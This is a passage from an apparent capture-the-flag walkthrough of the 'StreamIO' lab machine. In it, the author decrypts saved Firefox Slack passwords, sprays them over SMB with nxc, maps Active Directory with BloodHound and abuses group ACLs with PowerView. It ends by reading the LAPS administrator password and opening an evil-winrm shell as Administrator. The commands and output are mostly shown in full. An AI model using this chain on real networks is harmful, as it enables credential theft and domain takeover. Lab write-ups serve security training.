"httpRealm": null,
"formSubmitURL": "",
"usernameField": "",
"passwordField": "",
"encryptedUsername": "MDIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECG2cZGM1+s+hBAiQvduUzZPkCw==",
"encryptedPassword": "MEIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECKA5q3v2TxvuBBjtXIyW2UjOBvrg700JOU1yfrb0EnMRelw=",
"guid": "{9867a888-c468-4173-b2f4-329a1ec7fa60}",
"encType": 1,
"timeCreated": 1645526456872,
"timeLastUsed": 1645526456872,
"timePasswordChanged": 1645526456872,
"timesUsed": 1
},
{
"id": 2,
"hostname": "https://slack.streamio.htb",
"httpRealm": null,
"formSubmitURL": "",
"usernameField": "",
"passwordField": "",
"encryptedUsername": "MDIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECDMUru7zbEb0BAiinvqXr8Trkg==",
"encryptedPassword": "MDoEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECOXW0KzZftfWBBARYsMPvSrUwx8+QfJdxzT+",
"guid": "{739bd2a5-5fec-4e08-97d2-3c619bf02be2}",
"encType": 1,
"timeCreated": 1645526470377,
"timeLastUsed": 1645526470377,
"timePasswordChanged": 1645526470377,
"timesUsed": 1
},
{
"id": 3,
"hostname": "https://slack.streamio.htb",
"httpRealm": null,
"formSubmitURL": "",
"usernameField": "",
"passwordField": "",
"encryptedUsername": "MDoEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECPtpFUOBoOFABBDVCjdAdstUxzB6i9DCqvOw",
"encryptedPassword": "MDoEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECCocciyfDsthBBDm3YSuhBsW3roo3l3zOUuF",
"guid": "{a98a87bc-86aa-489c-9227-d6579ab5148b}",
"encType": 1,
"timeCreated": 1645526484137,
"timeLastUsed": 1645526484137,
"timePasswordChanged": 1645526484137,
"timesUsed": 1
},
{
"id": 4,
"hostname": "https://slack.streamio.htb",
"httpRealm": null,
"formSubmitURL": "",
"usernameField": "",
"passwordField": "",
"encryptedUsername": "MDIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECB1j+gQdXzIuBAgO0o/N3J2MrQ==",
"encryptedPassword": "MDoEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECNt9zddW+/h7BBCBgoQVGaDQjF2IpeQEl/Td",
"guid": "{2be21548-7c50-42f0-8ef6-b33b1e77f150}",
"encType": 1,
"timeCreated": 1645526511842,
"timeLastUsed": 1645526511842,
"timePasswordChanged": 1645526511842,
"timesUsed": 1
}
],
"potentiallyVulnerablePasswords": [],
"dismissedBreachAlertsByLoginGUID": {},
"version": 3
}
But to extract the passwords we will need the key4.db file
The we use this tool: https://github.com/lclevy/firepwd to extract the clear-text passwords
❯ python firepwd.py
globalSalt: b'd215c391179edb56af928a06c627906bcbd4bd47'
SEQUENCE {
SEQUENCE {
OBJECTIDENTIFIER 1.2.840.113549.1.5.13 pkcs5 pbes2
SEQUENCE {
SEQUENCE {
OBJECTIDENTIFIER 1.2.840.113549.1.5.12 pkcs5 PBKDF2
SEQUENCE {
OCTETSTRING b'5d573772912b3c198b1e3ee43ccb0f03b0b23e46d51c34a2a055e00ebcd240f5'
INTEGER b'01'
INTEGER b'20'
SEQUENCE {
OBJECTIDENTIFIER 1.2.840.113549.2.9 hmacWithSHA256
}
}
}
SEQUENCE {
OBJECTIDENTIFIER 2.16.840.1.101.3.4.1.42 aes256-CBC
OCTETSTRING b'1baafcd931194d48f8ba5775a41f'
}
}
}
OCTETSTRING b'12e56d1c8458235a4136b280bd7ef9cf'
}
clearText b'70617373776f72642d636865636b0202'
password check? True
SEQUENCE {
SEQUENCE {
OBJECTIDENTIFIER 1.2.840.113549.1.5.13 pkcs5 pbes2
SEQUENCE {
SEQUENCE {
OBJECTIDENTIFIER 1.2.840.113549.1.5.12 pkcs5 PBKDF2
SEQUENCE {
OCTETSTRING b'098560d3a6f59f76cb8aad8b3bc7c43d84799b55297a47c53d58b74f41e5967e'
INTEGER b'01'
INTEGER b'20'
SEQUENCE {
OBJECTIDENTIFIER 1.2.840.113549.2.9 hmacWithSHA256
}
}
}
SEQUENCE {
OBJECTIDENTIFIER 2.16.840.1.101.3.4.1.42 aes256-CBC
OCTETSTRING b'e28a1fe8bcea476e94d3a722dd96'
}
}
}
OCTETSTRING b'51ba44cdd139e4d2b25f8d94075ce3aa4a3d516c2e37be634d5e50f6d2f47266'
}
clearText b'b3610ee6e057c4341fc76bc84cc8f7cd51abfe641a3eec9d0808080808080808'
decrypting login/password pairs
Using 3DES (32-byte key, truncated to 24)
https://slack.streamio.htb:b'admin',b'JDg0dd1s@d0p3cr3@t0r'
https://slack.streamio.htb:b'nikk37',b'n1kk1sd0p3t00:)'
https://slack.streamio.htb:b'yoshihide',b'paddpadd@12'
https://slack.streamio.htb:b'JDgodd',b'password@12'
We have 4 saved passwords for slack
Now we need to find which password is valid using nxc
❯ nxc smb 10.129.90.243 -u slack-users -p slack-pass --continue-on-success
SMB 10.129.90.243 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:streamIO.htb) (signing:True) (SMBv1:None)
SMB 10.129.90.243 445 DC [-] streamIO.htb\admin:JDg0dd1s@d0p3cr3@t0r STATUS_LOGON_FAILURE
SMB 10.129.90.243 445 DC [-] streamIO.htb\nikk37:JDg0dd1s@d0p3cr3@t0r STATUS_LOGON_FAILURE
SMB 10.129.90.243 445 DC [-] streamIO.htb\yoshihide:JDg0dd1s@d0p3cr3@t0r STATUS_LOGON_FAILURE
SMB 10.129.90.243 445 DC [+] streamIO.htb\JDgodd:JDg0dd1s@d0p3cr3@t0r
SMB 10.129.90.243 445 DC [-] streamIO.htb\admin:n1kk1sd0p3t00:) STATUS_LOGON_FAILURE
SMB 10.129.90.243 445 DC [-] streamIO.htb\nikk37:n1kk1sd0p3t00:) STATUS_LOGON_FAILURE
SMB 10.129.90.243 445 DC [-] streamIO.htb\yoshihide:n1kk1sd0p3t00:) STATUS_LOGON_FAILURE
SMB 10.129.90.243 445 DC [-] streamIO.htb\admin:paddpadd@12 STATUS_LOGON_FAILURE
SMB 10.129.90.243 445 DC [-] streamIO.htb\nikk37:paddpadd@12 STATUS_LOGON_FAILURE
SMB 10.129.90.243 445 DC [-] streamIO.htb\yoshihide:paddpadd@12 STATUS_LOGON_FAILURE
SMB 10.129.90.243 445 DC [-] streamIO.htb\admin:password@12 STATUS_LOGON_FAILURE
SMB 10.129.90.243 445 DC [-] streamIO.htb\nikk37:password@12 STATUS_LOGON_FAILURE
SMB 10.129.90.243 445 DC [-] streamIO.htb\yoshihide:password@12 STATUS_LOGON_FAILURE
An we got a hit on the valid password:
\JDgodd:JDg0dd1s@d0p3cr3@t0r
Administrator
First we collect AD data:
❯ bloodhound-python -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r' -ns 10.129.90.243 -d streamio.htb -c All
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: streamio.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (dc.streamio.htb:88)] [Errno -2] Name or service not known
INFO: Connecting to LDAP server: dc.streamio.htb
INFO: Testing resolved hostname connectivity dead:beef::44f0:3ab6:3be2:3782
INFO: Trying LDAP connection to dead:beef::44f0:3ab6:3be2:3782
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.streamio.htb
INFO: Testing resolved hostname connectivity dead:beef::44f0:3ab6:3be2:3782
INFO: Trying LDAP connection to dead:beef::44f0:3ab6:3be2:3782
INFO: Found 8 users
INFO: Found 54 groups
INFO: Found 4 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.streamIO.htb
WARNING: DCE/RPC connection failed: The NETBIOS connection with the remote host timed out.
WARNING: DCE/RPC connection failed: The NETBIOS connection with the remote host timed out.
WARNING: DCE/RPC connection failed: The NETBIOS connection with the remote host timed out.
WARNING: DCE/RPC connection failed: [Errno Connection error (10.129.90.243:445)] timed out
WARNING: DCE/RPC connection failed: [Errno Connection error (10.129.90.243:445)] timed out
INFO: Done in 01M 26S
After loading the data to Bloodhound, we can see that the compromised user has WriteOwner over Core STAFF group

And CORE STAFF group has ReadLAPSPassword over DC

We can load PowerView and add the compromised user to Core staff
*Evil-WinRM* PS C:\programdata> .\PowerView.ps1
*Evil-WinRM* PS C:\programdata> $pass = ConvertTo-SecureString 'JDg0dd1s@d0p3cr3@t0r' -AsPlainText -Force
*Evil-WinRM* PS C:\programdata> $cred = New-Object System.Management.Automation.PSCredential('streamio.htb\JDgodd', $pass)
*Evil-WinRM* PS C:\programdata> Add-DomainObjectAcl -Credential $cred -TargetIdentity "Core Staff" -PrincipalIdentity "streamio\JDgodd"
*Evil-WinRM* PS C:\programdata> Add-DomainGroupMember -Credential $cred -Identity "Core Staff" -Members "StreamIO\JDgodd"
*Evil-WinRM* PS C:\programdata> Get-AdComputer -Filter * -Properties ms-Mcs-AdmPwd -Credential $cred
DistinguishedName : CN=DC,OU=Domain Controllers,DC=streamIO,DC=htb
DNSHostName : DC.streamIO.htb
Enabled : True
Name : DC
ObjectClass : computer
ObjectGUID : 8c0f9a80-aaab-4a78-9e0d-7a4158d8b9ee
SamAccountName : DC$
SID : S-1-5-21-1470860369-1569627196-4264678630-1000
UserPrincipalName :
Then we use nxc to read laps paswords:
❯ nxc smb 10.129.90.243 -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r' --laps --ntds
SMB 10.129.90.243 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:streamIO.htb) (signing:True) (SMBv1:None)
SMB 10.129.90.243 445 DC [-] DC\administrator:F9}O-1XQp5rvQB STATUS_LOGON_FAILURE
❯ evil-winrm -u administrator -p 'F9}O-1XQp5rvQB' -i 10.129.90.243
Evil-WinRM shell v4.1
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
Info: Connection successful
*Evil-WinRM* PS C:\Users\Administrator\Documents>
